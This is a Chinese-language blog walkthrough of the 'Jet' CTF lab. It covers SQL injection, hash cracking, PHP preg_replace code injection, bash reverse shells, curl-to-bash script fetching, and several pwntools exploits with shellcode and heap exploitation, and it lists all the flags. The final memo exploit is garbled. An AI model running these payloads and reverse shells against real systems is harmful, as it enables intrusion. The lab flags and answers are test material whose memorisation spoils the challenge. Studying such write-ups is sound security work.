Zumpyx's Blog

Jet

FortressesHardfortressjet

jet

Jet.com 目前正在美国寻找安全工程师。

Jet 的使命是成为最聪明的购物方式,几乎可以节省任何东西。结合革命性的定价引擎、世界一流的技术和履行平台以及令人难以置信的客户服务,我们已着手创建一种新型电子商务。 在 Jet,我们热衷于让人们能够出色地生活和工作。

我们需要来自各个层面的超级聪明的工程师来帮助我们构建世界上最好的工程电子商务平台之一(我们知道大话,但这是我们的目标!我们的工程师将创造力、好奇心和动力相结合,从内到外不断完善和革新 Jet。我们希望引进更多对技术充满热情的求知欲强的工程师(Jet 是一家技术至上的公司,以其学习和知识共享的文化而自豪,我们希望我们所有的工程师都像我们一样充满激情!

我们的基础架构主要基于 Microsoft Windows 构建。我们有一个混合配置,包括本地服务器和基于云的服务器,使用 Microsoft Azure 以及大量附加技术和中间件。我们支持三个仓库、一个呼叫中心、公司总部和云中的开发环境。我们的团队将 Windows、Apple 和一些 Linux 混合用于我们的系统管理平台和尖端网络设备。大约 50% 的开发平台运行在 Linux 上,其余的则运行在 Windows 上。

信息收集

端口扫描

  • nmap -sC -sV -O --traceroute -oN nmap.txt --append-out -p [ports] [ip]
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 62f6498081cff0070e5aade98e1f2b7c (RSA)
|   256 54e27e5a1caa9aab65cafa3928bc0a43 (ECDSA)
|_  256 93bc37b7e008ce2d0399010aa9dfdacd (ED25519)
53/tcp   open  domain   ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp   open  http     nginx 1.10.3 (Ubuntu)
|_http-title: Welcome to nginx on Debian!
|_http-server-header: nginx/1.10.3 (Ubuntu)
5555/tcp open  freeciv?
| fingerprint-strings: 
|   DNSVersionBindReqTCP, GenericLines, GetRequest, adbConnect: 
|     enter your name:
|     [31mMember manager!
|     edit
|     change name
...
|     exit
|_    invalid option!
7777/tcp open  cbt?
| fingerprint-strings: 
|   Arucer, DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, Socks5, X11Probe: 
|     --==[[ Spiritual Memo ]]==--
|     Create a memo
|     Show memo
|     Delete memo
|     Can't you read mate?
|   NULL: 
|     --==[[ Spiritual Memo ]]==--
|     Create a memo
|     Show memo
|_    Delete memo
9201/tcp open  http     BaseHTTPServer 0.3 (Python 2.7.12)

Port - 53

  • dig -x [ip] @[ip]
...
37.13.10.in-addr.arpa.  604800  IN      SOA     www.securewebinc.jet. securewebinc.jet. 3 604800 86400 2419200 604800
...
  • gobuster dns -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -d securewebinc.jet -r [ip] -o subdomain.txt
...
Found: www.securewebinc.jet
Found: WWW.securewebinc.jet
...

Port - 80

  • IP 访问

image-20240508095859036

发现 flag

securewebinc.jet/www.securewebinc.jet

image-20240508102847666

查看页面功能点

image-20240508103429475

发现一个 flag

image-20240508103043850

发现同一个 flag,同时看到 secure.js

image-20240508103316995

发现一个新路径 /dirb_safe_dir_rf9EmcEIx/admin/stats.php

image-20240508103924828

得到一个时间戳,没啥用

  • feroxbuster -u 'http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/'
...
301      GET        7l       13w      194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/
301      GET        7l       13w      194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/plugins => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/plugins/
301      GET        7l       13w      194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/js => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/js/
301      GET        7l       13w      194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/uploads => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/uploads/
301      GET        7l       13w      194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/build => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/build/
301      GET        7l       13w      194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/
301      GET        7l       13w      194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/build/js => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/build/js/
301      GET        7l       13w      194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/img => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/img/
301      GET        7l       13w      194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/css => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/css/
301      GET        7l       13w      194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/js => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/js/
301      GET        7l       13w      194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/js/pages => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/js/pages/
301      GET        7l       13w      194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/css/skins => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/css/skins/
301      GET        7l       13w      194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/css/alt => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/css/alt/
302      GET        0l        0w        0c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/ => login.php
301      GET        7l       13w      194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/img/credit => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/img/credit/
301      GET        7l       13w      194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/plugins/pace => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/plugins/pace/
...

目录扫描得到一部分其他目录,看上去像是一个 cms

image-20240508104533061

查看网页源代码

image-20240508104608049

发现一个 flag 和两个被注释的 js 路径,访问后未发现有趣的内容

Port - 5555

image-20240508163328804

一个 Cli 服务

Port - 7777

image-20240508163436385

也是一个 Cli 服务

Shell as www-data

登录界面测试

image-20240508112653818

成功报错,尝试 sql 注入

  • sqlmap -r req.txt --level 3 --batch
---
Parameter: username (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=1'||(SELECT 0x464f7266 WHERE 9324=9324 AND (SELECT 3518 FROM(SELECT COUNT(*),CONCAT(0x716b767071,(SELECT (ELT(3518=3518,1))),0x7171786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&password=2

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=1'||(SELECT 0x58786b44 WHERE 3648=3648 AND (SELECT 2784 FROM (SELECT(SLEEP(5)))MjUV))||'&password=2
---
  • sqlmap ... dump
Database: jetadmin
Table: users
	id: 1
	username: admin
	password: 97114847aa12500d04c0ef3aa6ca1dfd8fca7f156eeb864ab9b0445b235d5084
  • hashcat -m 1400 9711...5084 rockyou.txt
97114847aa12500d04c0ef3aa6ca1dfd8fca7f156eeb864ab9b0445b235d5084:Hackthesystem200

image-20240508113257756

登录后台,发现一个 flag,页面上只有邮件功能可用。

image-20240508144851582

请求数据带有一些过滤关键词的功能

swearwords[/fuck/i]=make love
swearwords[/shit/i]=poop
swearwords[/ass/i]=behind
swearwords[/dick/i]=penis
swearwords[/whore/i]=escort
swearwords[/asshole/i]=bad person
[email protected]
subject=qwe
message=<p>qweqweid
_wysihtml5_mode=1

看上去是把比较粗鲁的词语替换成较为优雅一点的单词,联想到 php 的 preg_replace 函数。

<?php
    echo preg_replace([替换模式], [替换成的字符串], [被替换的字符串]]);
?>

根据参数大概能猜到,会把邮件消息中的 fuck 替换成 make love,所以 message 应该是第三个参数,make love 部分为第二个参数,[/fuck/i] 为第一个参数,尝试命令注入

image-20240508151131021

Payload: swearwords[/fuck/ei]=system("id");&...&message=<p>...fuck...&...

反弹一个 Shell system("/bin/bash -c 'bash -i >& /dev/tcp/[ip]/[port] 0>&1'");

image-20240508151849899

发现 flag,以及数据库凭据。

本地信息收集

本地用户

alex:x:1005:1005:Alex Flores,,,:/home/alex:/bin/bash
ch4p:x:1000:1000:ch4p,,,:/home/ch4p:/bin/bash
g0blin:x:1002:1002:g0blin,,,:/home/g0blin:/bin/bash
membermanager:x:1006:1006:,,,:/home/membermanager:/bin/bash
memo:x:1007:1007:,,,:/home/memo:/bin/bash
root:x:0:0:root:/root:/bin/bash
tony:x:1008:1008:,,,:/home/tony:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/bash

Linpeas

  • 目标机器:curl http://[ip]:[port]/linpeas.sh | bash > /dev/tcp/[ip]/[port]
  • 攻击机器:sudo nc -lvvnp [port]| tee linpeas.log

image-20240508153727003

tony 目录下存在证书,以及加密后的密钥

image-20240508153951592

可以看到,tony 使用 private.key 解密了 key.bin.enc,然后使用 key.bin 加密了 secret.txt,因此现在如果找到 private.key 就能看到 secret.txt 的内容。

image-20240508154814947

观察公钥文件,发现长度很短,使用 Rsa 工具测试一下。

https://github.com/RsaCtfTool/RsaCtfTool

image-20240508162502484

解密文件

  • openssl rsautl -decrypt -inkey /tmp/private.key -in key.bin.enc -out /tmp/key.bin

image-20240508162801935

成功解密 key.bin,那么继续解密文本

  • openssl enc -d -aes-256-cbc -in secret.enc -out /tmp/secret.txt -pass file:/tmp/key.bin

image-20240508163002759

解密成功,发现 flag

image-20240510150930460

一个具有 S 位的可执行程序

image-20240509090347412

因此可以尝试 Pwn 来获取 alex 权限

Shell as alex

查看 /home 目录发现除了 tony 还有一个文件具有 s 位特权,尝试执行

image-20240509090614658

分析一下

image-20240509091346797

存在一个栈溢出漏洞,并且提供了变量的地址,因此可以在变量中填充 shellcode,并将返回地址设置为变量的地址

  • exp
import re
from pwn import *

p = process('./leak')
# p = remote('[ip]', [port])
context(os="linux",arch="amd64")

offset = 64 + 8
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

buff = b'A' * (offset - len(shellcode))
buff = shellcode + buff

msg = p.recvuntil(b'> ').decode()
print(msg)

address = re.findall(r'leaking! (.*?)\n', msg)[0]
print(f'[+] address: {address}')

buff += p64(int(address, 16))

print('[+]', buff)
p.sendline(buff)
p.interactive()

image-20240509111736536

这样就可以正常执行命令了,接下来在目标机器上开启远程 Cli 服务,并把 exp 改为远程连接

socat TCP-LISTEN:6666,reuseaddr,fork EXEC:/home/leak &

image-20240509112004412

发现 flag 和一个加密的 zip 压缩包,猜测 encrypted.txt 为密码的密文,crypter.py 是加密算法

  • crypter.py
import binascii

def makeList(stringVal):
    list = []
    for c in stringVal:
        list.append(c)
    return list

def superCrypt(stringVal,keyVal):
    keyPos = 0
    key = makeList(keyVal)
    xored = []
    for c in stringVal:
        xored.append(binascii.hexlify(chr(ord(c) ^ ord(keyVal[keyPos]))))
        if keyPos == len(key) - 1:
            keyPos = 0
        else:
            keyPos += 1
    hexVal = ''
    for n in xored:
        hexVal += n
    return hexVal

with open('message.txt') as f:
    content = f.read()

key = sys.argv[1]

with open('encrypted.txt', 'w') as f:
    output = f.write(binascii.unhexlify(superCrypt(content, key)))

代码大概逻辑是从参数获取字符串 key,然后循环 key 的字符与消息文本逐个异或运算,这里使用 xortool 进行分析

https://github.com/hellman/xortool

image-20240510152404096

分析密钥长度可能是 17,接下来使用 -c 参数猜测消息内容中出现最多的字符是空格

image-20240510160238516

得到了一部分可能是 key 的字符串,接下来配合解密后的内容进行分析,这里的 key 很显然更像一些助记单词,因此选用 secxrezebinnrocf~ 来尝试解密

image-20240510160421284

开头这个单词很容易能猜到是 Hello,因此密钥中的第四个字符有错误,正确字符应该为 x ^ a ^ l = u -> securezebinnrocf~

image-20240510160725739

结合这个 Web 页面,可以猜到 key 的另外一部分 -> securewebincrocf~ 现在暂时没有其他联想思路,先看一下解密后的内容

image-20240510160955308

可以看到当 key 的倒数第二个字符修改时,解密文本中像是 flag 的字符串第一位发生变化,很显然我们指导这个 flag 的开头是 JET 所以 key 的最后两位也可以算出来了

  • 倒数第二位:f ^ G ^ J = c -> securewebincrock~
  • 倒数第一位:~ ^ H ^ E = s -> securewebincrocks

因此正确的密钥为:securewebincrocks 读起来也合理,现在解密密文

image-20240510161426755

获得一个 flag ,并且根据 message 可以指导压缩文件的密码就是这个密钥

image-20240510161355072

得到两个可执行文件对应机器上 5555、7777 端口的服务,利用 pspy 也可以看到

image-20240508164207597

Shell as membermanager

image-20240510163830876

反编译后可以看到是根据 case 来选择对应的功能

  • exp
#!/usr/bin/python3
from pwn import remote, p64, p16
p = remote("10.13.37.10",5555)
p = process("./membermanager")

def add(size, data):
    p.sendlineafter(b"6. exit", b"1") 
    p.sendlineafter(b"size:",str(size).encode()) 
    p.sendlineafter(b"username:", data)
    
def edit(idx, mode, data):
    p.sendline(b"2")
    p.sendlineafter(b"2. insecure edit",str(mode).encode())
    p.sendlineafter(b"index:",str(idx).encode())
    p.sendlineafter(b"username:", data)
    p.recvuntil(b"6. exit")
    
def ban(idx):
    p.sendline(b"3")
    p.sendlineafter(b"index:",str(idx).encode())
    p.recvuntil(b"6. exit")
    
def change(data):
    p.sendline(b"4")
    p.sendlineafter(b"name:",data)
    p.recvuntil(b"6. exit")
    

p.sendlineafter(b"name:",b"A" *8)
add(0x88, b"A"*0x88)
add(0x100, b"A"*8)
payload  = b"A"*0x160
payload += p64(0)
payload += p64(0x21)
add(0x500, payload)
add(0x88, b"A"*8)
p.recv()
ban(2)
payload  = b""
payload += b"A"*0x88
payload += p16(0x281)
edit(0, 2, payload)
p.recv()
p.sendline(b"5")
p.recvline()
leak_read = int(p.recvline()[:-1], 10)
libc_base = leak_read - 0xf7250
payload  = b""
payload += p64(0)*3
payload += p64(libc_base+0x45390)
change(payload)
payload  = b""
payload += b"A"*256
payload += b"/bin/sh\x00"
payload += p64(0x61)
payload += p64(0)
payload += p64(libc_base+0x3c5520-0x10)
payload += p64(2)
payload += p64(3)
payload += p64(0)*21
payload += p64(0x6020a0)
edit(1, 1, payload)
p.sendline(b"1")
p.sendlineafter(b"size:", str(0x80).encode())
p.recvuntil(b"[vsyscall]")
p.recvline()
p.interactive()

Shell as memo

  • exp
#!/usr/bin/python3

from pwn import remote, p64, u64

shell=remote("10.13.37.10",7777)
def create_memo(data,answer,more):
    shell.sendlineafter(b"> ",b"1")
    shell.sendlineafter(b"Data: ", data)
    if answer[:3]=="yes":
        shell.sendafter(b"[yes/no] ", answer.encode())
    else:
        shell.sendafter(b"[yes/no] ", answer)
        shell.sendafter(b"Data: ", more)

def show_memo():
    shell.sendlineafter(b"> ",b"2")
    shell.recvuntil(b"Data: ")
    
def delete_memo():
    shell.sendlineafter(b"> ",b"3")
    
def tap_out(answer):
    shell.sendlineafter(b"> ",b"4")
    shell.sendafter(b"[yes/no] ", answer)
    create_memo(b"A"*0x1f,b"no",b"A"*0x1f)
    show_memo()
    shell.recv(0x20)
    stack_chunk = u64(shell.recv(6)+b"\x00"*2)- 0x110
    delete_memo()
    create_memo(b"A"*0x28,b"no",b"A"*0x28)
    show_memo()
    shell.recvuntil(b"A"*0x28)

shell.recv(1)
canary=u64(b"\x00"+shell.recv(7))
create_memo(b"A"*0x18,b"no",b"A"*0x18)
create_memo(b"A"*0x18,b"no",b"A"*0x17)
show_memo()
shell.recvuntil(b"A"*0x18)
shell.recv(1)
heap=u64(b"\x00"+shell.recv(3).ljust(7,b"\x00"))
create_memo(b"A"*0x18,b"no",b"A"*0x8+p64(0x91)+b"A"*0x8)
create_memo(b"A"*0x7+b"\x00",b"no",b"A"*0x8)
create_memo(b"A"*0x7+b"\x00",b"no",b"A"*0x8)
create_memo(b"A"*0x7+b"\x00",b"no",b"A"*0x8)
create_memo(b"A"*0x7+b"\x00",b"no",b"A"*0x8+p64(0x31))
create_memo(b"A"*0x7+b"\x00",b"no",b"A"*0x8)
tap_out(b"no\x00"+b"A"*21+p64(heap+0xe0))
delete_memo()
tap_out(b"no\x00"+b"A"*21+p64(heap+0xc0))
delete_memo()
show_memo()
leak=u64(shell.recv(6).ljust(8,b"\x00"))
libc=leak- 0x3c4b78
create_memo(b"A"*0x28,b"no",b"A"*0x10+p64(0x0)+p64(0x21) + p64(stcreate_memo(p64(leak)* (0x28//8),b"no",b"A"*0x28)
                                                               create_memo(b"A"*0x8+p64(0x21)+p64(stack_chunk+0x18)+b"A"*0x8+create_memo(b"A"*0x8,b"no", p64(canary)+b"A"*0x8+p64(libc+0x4521tap_out(b"yes\x00")

shell.recvline()shell.interactive()

More and More

Flags

  1. JET{s4n1ty_ch3ck}

  2. JET{w3lc0me_4nd_h@v3_fun!}

  3. JET{s3cur3_js_w4s_not_s0_s3cur3_4ft3r4ll}

  4. JET{sQl_1nj3ct1ons_4r3_fun!}

  5. JET{pr3g_r3pl4c3_g3ts_y0u_pwn3d}

  6. JET{0v3rfL0w_f0r_73h_lulz}

  7. JET{r3p3at1ng_ch4rs_1n_s1mpl3_x0r_g3ts_y0u_0wn3d}

  8. JET{3sc4p3_s3qu3nc3s_4r3_fun}

  9. JET{h34p_f0r_73h_b4bi3z}

  10. JET{n3xt_t1m3_p1ck_65537}

  11. JET{7h47s_7h3_sp1r17}

Scripts

  • Shell as www-data
import httpx

IP = '127.0.0.1'
Port = 443
cmd = f"/bin/bash -c 'bash -i >& /dev/tcp/{IP}/{Port} 0>&1'"

url_login = 'http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dologin.php'
cred = {'username': 'admin', 'password': 'Hackthesystem200'}

url_email = 'http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/email.php'
payload = {
    'swearwords[/fuck/e]': f'system("{cmd}");',
    'swearwords[/shit/i]': 'poop',
    'swearwords[/ass/i]': 'behind',
    'swearwords[/dick/i]': 'penis',
    'swearwords[/whore/i]': 'escort',
    'swearwords[/asshole/i]': 'bad person',
    'to': '[email protected]',
    'subject': 'qwe',
    'message': '<p>fuck',
    '_wysihtml5_mode': '1',
}

session = httpx.Client()

try:
    resp = session.post(url=url_login, data=cred)
    if resp.status_code == '302':
        print(f'[+] 登录成功, Cookie: {resp.cookies}')
        resp = session.post(url=url_email, data=payload)
        if resp.status_code == '200':
            print('[+] 邮件发送成功,等待 Shell 回连')
        else:
            print(f'[-] 邮件发送失败,状态码:{resp.status_code}')
    else:
        print(f'[-] 登录失败,状态码:{resp.status_code}')

finally:
    session.close()